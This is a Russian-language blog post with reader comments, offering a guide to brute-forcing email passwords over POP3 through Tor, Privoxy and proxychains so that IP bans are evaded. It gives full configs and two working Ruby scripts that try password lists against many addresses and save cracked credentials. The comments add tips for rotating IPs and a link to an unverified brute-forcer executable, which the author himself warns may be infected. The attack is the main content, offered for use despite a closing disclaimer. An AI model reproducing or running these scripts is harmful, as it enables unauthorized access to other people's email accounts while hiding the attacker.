бессмертный универсальный брутфорс

Сам простой способ перебора, избегающий бан – брутфорсить через прокси/соксы.
Однако, для этого приходиться искать прокси или покупать их. Первое нам не подходит т.к. публичные прокси долгие и быстро умерают, а второй не каждый может себе позволить.
Наверное, для многих не секрет, что существует еще один способ – использование ‘луковой маршрутизации’.
Для передачи пакета через ‘луковый маршрут’ используют программу Tor.
Это система, позволяющая устанавливать анонимное сетевое соединение, защищенное от прослушивания. Рассматривается как анонимная сеть, предоставляющая передачу данных в зашифрованном виде. Более подробно про Tor можно прочитать здесь.

Далее я рассмотрю использование tor’а для брутфорса email’ов по протоколу POP3.
Итак, нам понадобиться:

  1. собственно сам Tor;
  2. Privoxy — это свободный веб-прокси с расширенными возможностями фильтрования интернет-контента для защиты конфиденциальности (приватности) пользователей сети Интернет, изменения содержания веб-страниц, управления cookies, ограничения доступа к некоторым сайтам и удаления рекламы, баннеров, всплывающих окон, а также любого другого нежелательного контента («интернет-мусора»);
  3. Proxychains – программа, направляющая пакет уровня выше протокола IP, через цепочки заданных proxy(http) или socks(https,smtp,pop3,imap,ftp и др. в стеке протоколов выше IP)

Подробнее о их настройке можете прочитать на их официальных сайтах, в качестве примера, привожу мои настройки:

Tor (/etc/tor/torrc):

1
2
3
4
DataDirectory /var/lib/tor/.tor
NewCircuitPeriod 1
Group toranon
User  toranon

Privoxy (/etc/privoxy/config):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
forward-socks4a / 127.0.0.1:9050 .
confdir /etc/privoxy
logdir /var/log/privoxy
actionsfile standard  # Internal purpose, recommended
actionsfile default   # Main actions file
actionsfile user      # User customizations
filterfile default.filter
debug   4096 # Startup banner and warnings
debug   8192 # Errors - *we highly recommended enabling this*
user-manual /usr/share/doc/privoxy/user-manual
listen-address  127.0.0.1:8118
toggle  1
enable-remote-toggle 0
enable-edit-actions 0
enable-remote-http-toggle 0
buffer-limit 4096

Proxychains (/etc/proxychains.conf):

1
2
3
4
5
6
7
8
9
10
#dynamic_chain
random_chain  #случайный сервер
chain_len = 1 #максимальная длина цепи
tcp_read_time_out 20000
tcp_connect_time_out 20000
#список серверов
socks4 127.0.0.1 9050
socks4 127.0.0.1 9050
socks4 127.0.0.1 9050
socks4 127.0.0.1 9050

Примечание: как бы я не пытался но у меня так и не получилось заставить proxychains выстроить цепь из одного сервера, минимум цепочка состояла из двух, для этого я здесь и указал локальный хост несколько раз. Возникает вопрос: а почему бы тогда не указать его 2 раза; отвечу: для того чтобы сделать брутфорс более стабильным т.к. при обнаружении мертвого сервера (такое возможно с локальным хостом если ОС не даст сокет) proxychains возьмет следующий, так вот чтобы он мог брать 4 раза следуюший а не 2, здесь и написано 4 раза.

Далее я приведу код примитивного брутфорса, который будет состоять из 2-х скриптов:

  1. скрипт инициирующий соединение, будет запускаться под tor’ом
  2. скрипт инициирующий запуск первого скрипта.

1. На входе просит email-адрес, пароль и файл для удачных комбинаций (try_connect.rb)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/ruby
require 'net/pop'
 
n=ARGV.size
if n!=3
 puts "Not enought arguments\n"
 exit
end
 
login=ARGV[0].split('@')[0]
pop_server='pop.'+ARGV[0].split('@')[1]
paswd, outfile=ARGV[1],ARGV[2]
 
puts "/#{pop_server}/#{login}/#{paswd}/"
invalid=false
begin
  begin
    Net::POP3.auth_only(pop_server, 110,login, paswd)
  rescue Net::POPAuthenticationError
    invalid=true
    puts "FAIL /#{ARGV[0]}/#{ARGV[1]}/  #{Time.now}"
  end
rescue => e
  invalid=true
  puts "#{Time.now} can't connect #{e}"
  #retry
end
 
if invalid==false
  puts "SUCCESS /#{ARGV[0]}/#{ARGV[1]}/  #{Time.now}"
  File.open(outfile,"a") do |sfile|
    sfile.puts "#{Time.now}  #{ARGV[0]}:#{ARGV[1]}"
  end
end

2. На входе просит фаил-список e-mail адресов и файл для удачных комбинаций (get_next.rb)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/ruby

n=ARGV.size
if n<1 or n>2
  puts "Not enought arguments\n  []"
  exit
end
 
infile=ARGV[0]
if n==1 then outfile=infile+'_out' else outfile=ARGV[1] end
 
begin
  file=File.new(infile)
rescue =&gt; e
  puts "Inputfile error:#{e}"
end
 
pass=['yourfirstpass','yoursecondpass','yourthirdpass','  etc']
 
str=''
no=0
while str!=nil
  puts "#{no})"
  str=file.gets
  if str!=nil
    mail=str.to_s.chop!
    pass.each do |paswd|
      puts "proxychains ./try_connect.rb #{mail} #{paswd}"+
      "#{outfile}"
      system("proxychains ./try_connect.rb #{mail} #{paswd}"+
      "#{outfile}")
      sleep(3) #интервал между запросами
    end#each
  end#if
  no+=1
end#while
file.close

Теперь рассмотрим прицип работы:

  1. скрипт get_next.rb берет из списка email и дает команду интерпритатору bash: ‘proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}’
  2. bash запускает proxychains
  3. proxychains запускает try_connect.rb под своим прикрытием т.е. пакет идет на локальный прокси/сокс privoxy, который в свою очередь доверяет маршрутизацию пакета сети Tor, который предусмотрительно меняет свои сервера (в этом можно убедиться запустив браузер под tor’ом, где обновлять страницу скажем 2ip.ru)
  4. по выше приведенному пути try_connect.rb ведет диалог с pop3-сервером поповоду авторизации

Использовать связку tor-privoxy-proxychains можно для любого брутфорса, работающего на протоколах выше IP, по-мойму кроме ICMP, тем самым можно не писать нудные процедуры посылки пакета через прокси, а написав примитивный брутфорс запускать его под этой связкой.

Примечание: все выше указанное ПО, в том числе скрипты, тестировались только под ОС Linux, однако на офсайтах privoxy,tor и proxychains заявленно что существуют версии и для Windows и для Mac. Приведенные здесь скрипты написанны на Ruby, который в свою очередь тоже являеться кроссплатформенным.
Увеличить скорость работы приведенных скриптов можно добавив многопоточность.

Статья является плодом бурной фантазии автора и не призывает
ни к каким действиям, противоречащим законодательству.
Ответственность за использование материала ложиться только
на вас! Любые совпадения с реальными людьми считаются
случайными.

7 Comments to “бессмертный универсальный брутфорс”

  1. Павел пишет:

    Не подскажешь как получить новый IP-адрес c Tor-a?
    Делаю вот так: “/etc/init.d/tor restart”
    Получаю максимум 100 новых адресов… из 5000 перезапусков :)

    В качеству браузера использую Mechanize.

  2. lukmus пишет:

    значит нодов больше нет, тор не такая уж популярная система, чтобы иметь с 5к запусков 5к уникальных IP. Могу лишь посоветовать писать в конфиге локалхост больше раз, дело в том что, каждый локалхост инициирует собой новую цепь, а перезапуск тора ничего толкового не даст, лучше уж тогда перезапускать privoxy…

  3. Павел пишет:

    Спасибо! Попробую добавить локалхосты и перезапускать privoxy.

    Вот дело в том, что ноды то есть.
    Vidalia показывает стабильно около 2000 серверов (ну и до 50 соединений).

  4. фуу пишет:

    Есть такое понятие – выходные ноды , а их по списку https://torstatus.blutmagie.de/index.php?SR=Bandwidth&SO=Desc
    ~740 , более того из любого входного нода по цепочке не всегда возможно выйти из любого выходного нода

  5. [...] конфигурацию я приводил в статье про брутфорс. Так вот открываем наш конфиг /etc/privoxy/config и начинаем [...]

  6. 1 пишет:

    http://narod.ru/disk/10376271001/Bruteforce.exe.html

    Многопоточный брутфорс,иногда мне помогает,особо не увлекайтесь,а то админы

    сайта который вы будете брутить пропалят вас и забанят с подсетью :Р (по

    вашему МАС-Адресу компа,у каждого-уникальный)

    писал её сам,по всем вопросам пиши в аську 434311633

  7. lukmus пишет:

    1. Бойтесь этого брута, не факт что он брут и не факт что он не инфицирован.
    2. Если брут работает по принципу, который описан в этой статье, то никто не пропалит никакой ip
    3. Причем здесь MAC? И вообще-то mac легко подменяется

    Ну вообщем-то это довольно странный комментарий, он очень похож на спам, но я почему-то его одобрил

Leave a Reply to lukmus

(обязательно)

(обязательно)